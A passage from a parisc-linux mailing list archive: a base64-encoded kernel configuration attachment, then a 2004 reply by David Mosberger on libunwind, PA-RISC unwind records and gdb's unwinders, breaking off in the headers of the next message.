IENPTkZJR19ORVRfUENJIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9QT0NL
RVQgaXMgbm90IHNldA0KDQojDQojIEV0aGVybmV0ICgxMDAwIE1iaXQpDQoj
DQojIENPTkZJR19BQ0VOSUMgaXMgbm90IHNldA0KIyBDT05GSUdfREwySyBp
cyBub3Qgc2V0DQojIENPTkZJR19FMTAwMCBpcyBub3Qgc2V0DQojIENPTkZJ
R19OUzgzODIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hBTUFDSEkgaXMgbm90
IHNldA0KIyBDT05GSUdfWUVMTE9XRklOIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1I4MTY5IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NLOThMSU4gaXMgbm90IHNl
dA0KIyBDT05GSUdfVElHT04zIGlzIG5vdCBzZXQNCg0KIw0KIyBFdGhlcm5l
dCAoMTAwMDAgTWJpdCkNCiMNCiMgQ09ORklHX0lYR0IgaXMgbm90IHNldA0K
IyBDT05GSUdfUzJJTyBpcyBub3Qgc2V0DQoNCiMNCiMgVG9rZW4gUmluZyBk
ZXZpY2VzDQojDQojIENPTkZJR19UUiBpcyBub3Qgc2V0DQoNCiMNCiMgV2ly
ZWxlc3MgTEFOIChub24taGFtcmFkaW8pDQojDQojIENPTkZJR19ORVRfUkFE
SU8gaXMgbm90IHNldA0KDQojDQojIFdhbiBpbnRlcmZhY2VzDQojDQojIENP
TkZJR19XQU4gaXMgbm90IHNldA0KIyBDT05GSUdfRkRESSBpcyBub3Qgc2V0
DQojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0DQojIENPTkZJR19QTElQIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1BQUCBpcyBub3Qgc2V0DQojIENPTkZJR19T
TElQIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9GQyBpcyBub3Qgc2V0DQoj
IENPTkZJR19TSEFQRVIgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUQ09OU09M
RSBpcyBub3Qgc2V0DQoNCiMNCiMgSVNETiBzdWJzeXN0ZW0NCiMNCiMgQ09O
RklHX0lTRE4gaXMgbm90IHNldA0KDQojDQojIFRlbGVwaG9ueSBTdXBwb3J0
DQojDQojIENPTkZJR19QSE9ORSBpcyBub3Qgc2V0DQoNCiMNCiMgSW5wdXQg
ZGV2aWNlIHN1cHBvcnQNCiMNCkNPTkZJR19JTlBVVD15DQoNCiMNCiMgVXNl
cmxhbmQgaW50ZXJmYWNlcw0KIw0KQ09ORklHX0lOUFVUX01PVVNFREVWPXkN
CkNPTkZJR19JTlBVVF9NT1VTRURFVl9QU0FVWD15DQpDT05GSUdfSU5QVVRf
TU9VU0VERVZfU0NSRUVOX1g9MTAyNA0KQ09ORklHX0lOUFVUX01PVVNFREVW
X1NDUkVFTl9ZPTc2OA0KIyBDT05GSUdfSU5QVVRfSk9ZREVWIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0lOUFVUX1RTREVWIGlzIG5vdCBzZXQNCkNPTkZJR19J
TlBVVF9FVkRFVj15DQojIENPTkZJR19JTlBVVF9FVkJVRyBpcyBub3Qgc2V0
DQoNCiMNCiMgSW5wdXQgSS9PIGRyaXZlcnMNCiMNCiMgQ09ORklHX0dBTUVQ
T1JUIGlzIG5vdCBzZXQNCkNPTkZJR19TT1VORF9HQU1FUE9SVD15DQpDT05G
SUdfU0VSSU89eQ0KQ09ORklHX1NFUklPX1NFUlBPUlQ9eQ0KIyBDT05GSUdf
U0VSSU9fUEFSS0JEIGlzIG5vdCBzZXQNCkNPTkZJR19TRVJJT19HU0NQUzI9
eQ0KQ09ORklHX0hQX1NEQz15DQpDT05GSUdfSElMX01MQz15DQojIENPTkZJ
R19TRVJJT19QQ0lQUzIgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSU9fUkFX
IGlzIG5vdCBzZXQNCg0KIw0KIyBJbnB1dCBEZXZpY2UgRHJpdmVycw0KIw0K
Q09ORklHX0lOUFVUX0tFWUJPQVJEPXkNCkNPTkZJR19LRVlCT0FSRF9BVEtC
RD15DQpDT05GSUdfS0VZQk9BUkRfQVRLQkRfSFBfS0VZQ09ERVM9eQ0KIyBD
T05GSUdfS0VZQk9BUkRfQVRLQkRfUkRJX0tFWUNPREVTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0tFWUJPQVJEX1NVTktCRCBpcyBub3Qgc2V0DQojIENPTkZJ
R19LRVlCT0FSRF9MS0tCRCBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FS
RF9YVEtCRCBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9ORVdUT04g
aXMgbm90IHNldA0KQ09ORklHX0tFWUJPQVJEX0hJTD15DQpDT05GSUdfSU5Q
VVRfTU9VU0U9eQ0KQ09ORklHX01PVVNFX1BTMj15DQojIENPTkZJR19NT1VT
RV9TRVJJQUwgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0VfSU5QT1JUIGlz
IG5vdCBzZXQNCiMgQ09ORklHX01PVVNFX0xPR0lCTSBpcyBub3Qgc2V0DQoj
IENPTkZJR19NT1VTRV9QQzExMFBBRCBpcyBub3Qgc2V0DQojIENPTkZJR19N
T1VTRV9WU1hYWEFBIGlzIG5vdCBzZXQNCiMgQ09ORklHX01PVVNFX0hJTCBp
cyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0
DQojIENPTkZJR19JTlBVVF9UT1VDSFNDUkVFTiBpcyBub3Qgc2V0DQojIENP
TkZJR19JTlBVVF9NSVNDIGlzIG5vdCBzZXQNCg0KIw0KIyBDaGFyYWN0ZXIg
ZGV2aWNlcw0KIw0KQ09ORklHX1ZUPXkNCkNPTkZJR19WVF9DT05TT0xFPXkN
CkNPTkZJR19IV19DT05TT0xFPXkNCkNPTkZJR19TRVJJQUxfTk9OU1RBTkRB
UkQ9eQ0KIyBDT05GSUdfUk9DS0VUUE9SVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19DWUNMQURFUyBpcyBub3Qgc2V0DQojIENPTkZJR19TWU5DTElOSyBpcyBu
b3Qgc2V0DQojIENPTkZJR19TWU5DTElOS01QIGlzIG5vdCBzZXQNCiMgQ09O
RklHX05fSERMQyBpcyBub3Qgc2V0DQojIENPTkZJR19TVEFMRFJWIGlzIG5v
dCBzZXQNCg0KIw0KIyBTZXJpYWwgZHJpdmVycw0KIw0KIyBDT05GSUdfU0VS
SUFMXzgyNTAgaXMgbm90IHNldA0KDQojDQojIE5vbi04MjUwIHNlcmlhbCBw
b3J0IHN1cHBvcnQNCiMNCiMgQ09ORklHX1NFUklBTF9NVVggaXMgbm90IHNl
dA0KQ09ORklHX1BEQ19DT05TT0xFPXkNCkNPTkZJR19VTklYOThfUFRZUz15
DQpDT05GSUdfTEVHQUNZX1BUWVM9eQ0KQ09ORklHX0xFR0FDWV9QVFlfQ09V
TlQ9MjU2DQpDT05GSUdfUFJJTlRFUj15DQojIENPTkZJR19MUF9DT05TT0xF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1BQREVWIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1RJUEFSIGlzIG5vdCBzZXQNCg0KIw0KIyBJUE1JDQojDQojIENPTkZJ
R19JUE1JX0hBTkRMRVIgaXMgbm90IHNldA0KDQojDQojIFdhdGNoZG9nIENh
cmRzDQojDQojIENPTkZJR19XQVRDSERPRyBpcyBub3Qgc2V0DQpDT05GSUdf
R0VOX1JUQz15DQojIENPTkZJR19HRU5fUlRDX1ggaXMgbm90IHNldA0KIyBD
T05GSUdfRFRMSyBpcyBub3Qgc2V0DQojIENPTkZJR19SMzk2NCBpcyBub3Qg
c2V0DQojIENPTkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0DQoNCiMNCiMgRnRh
cGUsIHRoZSBmbG9wcHkgdGFwZSBkZXZpY2UgZHJpdmVyDQojDQojIENPTkZJ
R19BR1AgaXMgbm90IHNldA0KIyBDT05GSUdfRFJNIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1JBV19EUklWRVIgaXMgbm90IHNldA0KDQojDQojIEkyQyBzdXBw
b3J0DQojDQojIENPTkZJR19JMkMgaXMgbm90IHNldA0KDQojDQojIERhbGxh
cydzIDEtd2lyZSBidXMNCiMNCiMgQ09ORklHX1cxIGlzIG5vdCBzZXQNCg0K
Iw0KIyBNaXNjIGRldmljZXMNCiMNCg0KIw0KIyBNdWx0aW1lZGlhIGRldmlj
ZXMNCiMNCiMgQ09ORklHX1ZJREVPX0RFViBpcyBub3Qgc2V0DQoNCiMNCiMg
RGlnaXRhbCBWaWRlbyBCcm9hZGNhc3RpbmcgRGV2aWNlcw0KIw0KIyBDT05G
SUdfRFZCIGlzIG5vdCBzZXQNCg0KIw0KIyBHcmFwaGljcyBzdXBwb3J0DQoj
DQpDT05GSUdfRkI9eQ0KIyBDT05GSUdfRkJfTU9ERV9IRUxQRVJTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0ZCX1RJTEVCTElUVElORyBpcyBub3Qgc2V0DQoj
IENPTkZJR19GQl9DSVJSVVMgaXMgbm90IHNldA0KIyBDT05GSUdfRkJfUE0y
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0NZQkVSMjAwMCBpcyBub3Qgc2V0
DQojIENPTkZJR19GQl9BU0lMSUFOVCBpcyBub3Qgc2V0DQojIENPTkZJR19G
Ql9JTVNUVCBpcyBub3Qgc2V0DQpDT05GSUdfRkJfU1RJPXkNCiMgQ09ORklH
X0ZCX1JJVkEgaXMgbm90IHNldA0KIyBDT05GSUdfRkJfTUFUUk9YIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0ZCX1JBREVPTl9PTEQgaXMgbm90IHNldA0KIyBD
T05GSUdfRkJfUkFERU9OIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX0FUWTEy
OCBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9BVFkgaXMgbm90IHNldA0KIyBD
T05GSUdfRkJfU0FWQUdFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1NJUyBp
cyBub3Qgc2V0DQojIENPTkZJR19GQl9ORU9NQUdJQyBpcyBub3Qgc2V0DQoj
IENPTkZJR19GQl9LWVJPIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCXzNERlgg
aXMgbm90IHNldA0KIyBDT05GSUdfRkJfVk9PRE9PMSBpcyBub3Qgc2V0DQoj
IENPTkZJR19GQl9UUklERU5UIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZCX1ZJ
UlRVQUwgaXMgbm90IHNldA0KDQojDQojIENvbnNvbGUgZGlzcGxheSBkcml2
ZXIgc3VwcG9ydA0KIw0KIyBDT05GSUdfTURBX0NPTlNPTEUgaXMgbm90IHNl
dA0KQ09ORklHX1NUSV9DT05TT0xFPXkNCkNPTkZJR19EVU1NWV9DT05TT0xF
X0NPTFVNTlM9MTYwDQpDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0DQpD
T05GSUdfRFVNTVlfQ09OU09MRT15DQpDT05GSUdfRlJBTUVCVUZGRVJfQ09O
U09MRT15DQojIENPTkZJR19GT05UUyBpcyBub3Qgc2V0DQpDT05GSUdfRk9O
VF84eDg9eQ0KQ09ORklHX0ZPTlRfOHgxNj15DQoNCiMNCiMgTG9nbyBjb25m
aWd1cmF0aW9uDQojDQojIENPTkZJR19MT0dPIGlzIG5vdCBzZXQNCg0KIw0K
IyBTb3VuZA0KIw0KIyBDT05GSUdfU09VTkQgaXMgbm90IHNldA0KDQojDQoj
IFVTQiBzdXBwb3J0DQojDQojIENPTkZJR19VU0IgaXMgbm90IHNldA0KQ09O
RklHX1VTQl9BUkNIX0hBU19IQ0Q9eQ0KQ09ORklHX1VTQl9BUkNIX0hBU19P
SENJPXkNCg0KIw0KIyBVU0IgR2FkZ2V0IFN1cHBvcnQNCiMNCiMgQ09ORklH
X1VTQl9HQURHRVQgaXMgbm90IHNldA0KDQojDQojIEZpbGUgc3lzdGVtcw0K
Iw0KQ09ORklHX0VYVDJfRlM9eQ0KIyBDT05GSUdfRVhUMl9GU19YQVRUUiBp
cyBub3Qgc2V0DQpDT05GSUdfRVhUM19GUz15DQpDT05GSUdfRVhUM19GU19Y
QVRUUj15DQojIENPTkZJR19FWFQzX0ZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0
DQojIENPTkZJR19FWFQzX0ZTX1NFQ1VSSVRZIGlzIG5vdCBzZXQNCkNPTkZJ
R19KQkQ9eQ0KIyBDT05GSUdfSkJEX0RFQlVHIGlzIG5vdCBzZXQNCkNPTkZJ
R19GU19NQkNBQ0hFPXkNCiMgQ09ORklHX1JFSVNFUkZTX0ZTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0pGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19YRlNf
RlMgaXMgbm90IHNldA0KQ09ORklHX01JTklYX0ZTPW0NCiMgQ09ORklHX1JP
TUZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1FVT1RBIGlzIG5vdCBzZXQN
CkNPTkZJR19ETk9USUZZPXkNCiMgQ09ORklHX0FVVE9GU19GUyBpcyBub3Qg
c2V0DQojIENPTkZJR19BVVRPRlM0X0ZTIGlzIG5vdCBzZXQNCg0KIw0KIyBD
RC1ST00vRFZEIEZpbGVzeXN0ZW1zDQojDQpDT05GSUdfSVNPOTY2MF9GUz15
DQpDT05GSUdfSk9MSUVUPXkNCiMgQ09ORklHX1pJU09GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19VREZfRlMgaXMgbm90IHNldA0KDQojDQojIERPUy9GQVQv
TlQgRmlsZXN5c3RlbXMNCiMNCkNPTkZJR19GQVRfRlM9eQ0KQ09ORklHX01T
RE9TX0ZTPXkNCkNPTkZJR19WRkFUX0ZTPXkNCkNPTkZJR19GQVRfREVGQVVM
VF9DT0RFUEFHRT00MzcNCkNPTkZJR19GQVRfREVGQVVMVF9JT0NIQVJTRVQ9
Imlzbzg4NTktMSINCiMgQ09ORklHX05URlNfRlMgaXMgbm90IHNldA0KDQoj
DQojIFBzZXVkbyBmaWxlc3lzdGVtcw0KIw0KQ09ORklHX1BST0NfRlM9eQ0K
IyBDT05GSUdfUFJPQ19LQ09SRSBpcyBub3Qgc2V0DQpDT05GSUdfU1lTRlM9
eQ0KIyBDT05GSUdfREVWRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfREVW
UFRTX0ZTX1hBVFRSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RNUEZTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0hVR0VUTEJfUEFHRSBpcyBub3Qgc2V0DQpDT05G
SUdfUkFNRlM9eQ0KDQojDQojIE1pc2NlbGxhbmVvdXMgZmlsZXN5c3RlbXMN
CiMNCiMgQ09ORklHX0FERlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQUZG
U19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldA0K
IyBDT05GSUdfSEZTUExVU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19CRUZT
X0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JGU19GUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19FRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQ1JBTUZTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1ZYRlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfSFBGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19RTlg0RlNfRlMgaXMg
bm90IHNldA0KIyBDT05GSUdfU1lTVl9GUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19VRlNfRlMgaXMgbm90IHNldA0KDQojDQojIE5ldHdvcmsgRmlsZSBTeXN0
ZW1zDQojDQpDT05GSUdfTkZTX0ZTPXkNCkNPTkZJR19ORlNfVjM9eQ0KIyBD
T05GSUdfTkZTX1Y0IGlzIG5vdCBzZXQNCiMgQ09ORklHX05GU19ESVJFQ1RJ
TyBpcyBub3Qgc2V0DQpDT05GSUdfTkZTRD15DQpDT05GSUdfTkZTRF9WMz15
DQojIENPTkZJR19ORlNEX1Y0IGlzIG5vdCBzZXQNCkNPTkZJR19ORlNEX1RD
UD15DQpDT05GSUdfUk9PVF9ORlM9eQ0KQ09ORklHX0xPQ0tEPXkNCkNPTkZJ
R19MT0NLRF9WND15DQpDT05GSUdfRVhQT1JURlM9eQ0KQ09ORklHX1NVTlJQ
Qz15DQojIENPTkZJR19SUENTRUNfR1NTX0tSQjUgaXMgbm90IHNldA0KIyBD
T05GSUdfUlBDU0VDX0dTU19TUEtNMyBpcyBub3Qgc2V0DQojIENPTkZJR19T
TUJfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQ0lGUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19OQ1BfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfQ09EQV9GUyBp
cyBub3Qgc2V0DQojIENPTkZJR19BRlNfRlMgaXMgbm90IHNldA0KDQojDQoj
IFBhcnRpdGlvbiBUeXBlcw0KIw0KIyBDT05GSUdfUEFSVElUSU9OX0FEVkFO
Q0VEIGlzIG5vdCBzZXQNCkNPTkZJR19NU0RPU19QQVJUSVRJT049eQ0KDQoj
DQojIE5hdGl2ZSBMYW5ndWFnZSBTdXBwb3J0DQojDQpDT05GSUdfTkxTPXkN
CkNPTkZJR19OTFNfREVGQVVMVD0iaXNvODg1OS0xIg0KIyBDT05GSUdfTkxT
X0NPREVQQUdFXzQzNyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBB
R0VfNzM3IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV83NzUg
aXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1MCBpcyBub3Qg
c2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODUyIGlzIG5vdCBzZXQNCiMg
Q09ORklHX05MU19DT0RFUEFHRV84NTUgaXMgbm90IHNldA0KIyBDT05GSUdf
TkxTX0NPREVQQUdFXzg1NyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09E
RVBBR0VfODYwIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84
NjEgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MiBpcyBu
b3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODYzIGlzIG5vdCBzZXQN
CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjQgaXMgbm90IHNldA0KIyBDT05G
SUdfTkxTX0NPREVQQUdFXzg2NSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNf
Q09ERVBBR0VfODY2IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFH
RV84NjkgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzkzNiBp
cyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfOTUwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV85MzIgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0NPREVQQUdFXzk0OSBpcyBub3Qgc2V0DQojIENPTkZJR19O
TFNfQ09ERVBBR0VfODc0IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084
ODU5XzggaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzEyNTAg
aXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzEyNTEgaXMgbm90
IHNldA0KIyBDT05GSUdfTkxTX0FTQ0lJIGlzIG5vdCBzZXQNCiMgQ09ORklH
X05MU19JU084ODU5XzEgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4
NTlfMiBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNPODg1OV8zIGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5XzQgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0lTTzg4NTlfNSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNf
SVNPODg1OV82IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5Xzcg
aXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfOSBpcyBub3Qgc2V0
DQojIENPTkZJR19OTFNfSVNPODg1OV8xMyBpcyBub3Qgc2V0DQojIENPTkZJ
R19OTFNfSVNPODg1OV8xNCBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNP
ODg1OV8xNSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfS09JOF9SIGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19LT0k4X1UgaXMgbm90IHNldA0KIyBDT05G
SUdfTkxTX1VURjggaXMgbm90IHNldA0KDQojDQojIFByb2ZpbGluZyBzdXBw
b3J0DQojDQojIENPTkZJR19QUk9GSUxJTkcgaXMgbm90IHNldA0KDQojDQoj
IEtlcm5lbCBoYWNraW5nDQojDQojIENPTkZJR19ERUJVR19LRVJORUwgaXMg
bm90IHNldA0KDQojDQojIFNlY3VyaXR5IG9wdGlvbnMNCiMNCiMgQ09ORklH
X0tFWVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0VDVVJJVFkgaXMgbm90IHNl
dA0KDQojDQojIENyeXB0b2dyYXBoaWMgb3B0aW9ucw0KIw0KIyBDT05GSUdf
Q1JZUFRPIGlzIG5vdCBzZXQNCg0KIw0KIyBMaWJyYXJ5IHJvdXRpbmVzDQoj
DQpDT05GSUdfQ1JDX0NDSVRUPW0NCkNPTkZJR19DUkMzMj15DQojIENPTkZJ
R19MSUJDUkMzMkMgaXMgbm90IHNldA0K

--8323328-742400216-1102345339=:21506
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--8323328-742400216-1102345339=:21506--



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mosberger <davidm@napali.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Mon, 6 Dec 2004 11:17:13 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <16820.45113.170552.466399@napali.hpl.hp.com>
References: <20041205023331.GB5905@colo.lackof.org>
	<200412050304.iB534j12014124@hiauly1.hia.nrc.ca>
Reply-To: davidm@hpl.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623619 11954 80.91.229.3 (22 Nov 2014 02:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:39 +0000 (UTC)
Cc: davidm@hpl.hp.com,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22817 invoked by uid 65534); 6 Dec 2004 19:18:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx070) with SMTP; 06 Dec 2004 20:18:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 625F13BE5D; Mon,  6 Dec 2004 12:17:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29485-04; Mon, 6 Dec 2004 12:17:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D0D193BE60; Mon,  6 Dec 2004 12:17:24 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B79113BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 12:17:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29485-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 12:17:16 -0700 (MST)
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by free.linux.hp.com (Postfix) with ESMTP id 22CD63BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 12:17:16 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by palrel10.hp.com (Postfix) with ESMTP
	id 7773F480D4; Mon,  6 Dec 2004 11:17:15 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123])
	by hplms2.hpl.hp.com (8.13.1/8.13.1/HPL-PA Hub) with ESMTP id
	iB6JHDaF022020; Mon, 6 Dec 2004 11:17:14 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali [127.0.0.1])
	by napali.hpl.hp.com (8.13.1/8.13.1/Debian-18) with ESMTP id
	iB6JHDuc006663; Mon, 6 Dec 2004 11:17:13 -0800
Original-Received: (from davidm@localhost)
	by napali.hpl.hp.com (8.13.1/8.13.1/Submit) id iB6JHDZC006660;
	Mon, 6 Dec 2004 11:17:13 -0800
In-Reply-To: <200412050304.iB534j12014124@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.19 under Emacs 21.3.1
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22188

Hi John,

>>>>> On Sat, 4 Dec 2004 22:04:45 -0500 (EST), "John David Anglin" <dave@hiauly1.hia.nrc.ca> said:

  John> While only HP-UX 32-bit uses the SOM object format,
  John> parisc-linux currently generates SOM-style unwind records
  John> generated from .callinfo and other assembler statements.  At
  John> the moment, gdb uses the SOM-style unwind records.

Yes, that's why I mentioned SOM.  I already discussed the issue
briefly with Randolph.  We _could_ put PARISC Unwind Record support
into libunwind, but it's not clear whether it's worth the trouble.
The big issue is that under Linux, the only way to get to the PARISC
Unwind Records seems to be via the ELF file and that's not (directly)
accessible from within a running process.  That's not a problem for
gdb, of course, but in effect, use of PARISC Unwind Record would be
limited to what libunwind calls remote unwinding.  It may make more
sense to leave the PARISC Unwind Record support in gdb and just
declare support for those Unwind records as deprecated.

  John> I must say I welcome David's new library.  Unwinding in gdb
  John> has never been reliable with the SOM-style unwind records.
  John> Some code reading is needed, etc.  The new library will make
  John> it easy for applications to unwind on exceptions and print
  John> backtraces when an internal problem occurs.

gdb already has a DWARF2 unwinder and at this point I'm unsure whether
it's better to enable PARISC support for that unwinder or for
libunwind.  Whatever makes the most sense is fine with me.  However, I
do hope that having libunwind available on more (DWARF2) platforms
will get people away from constantly reinventing the wheel in regards
to unwinders.  As Randolph says, each unwinder tends to come with its
own set of limitations and bugs.  With the single source-tree provided
by libunwind, I hope to eliminate that problem.

	--david
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mosberger <davidm@napali.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Mon, 6 Dec 2004 11:22:56 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <16820.45456.164786.170565@napali.hpl.hp.com>
References: <20041205023331.GB5905@colo.lackof.org>
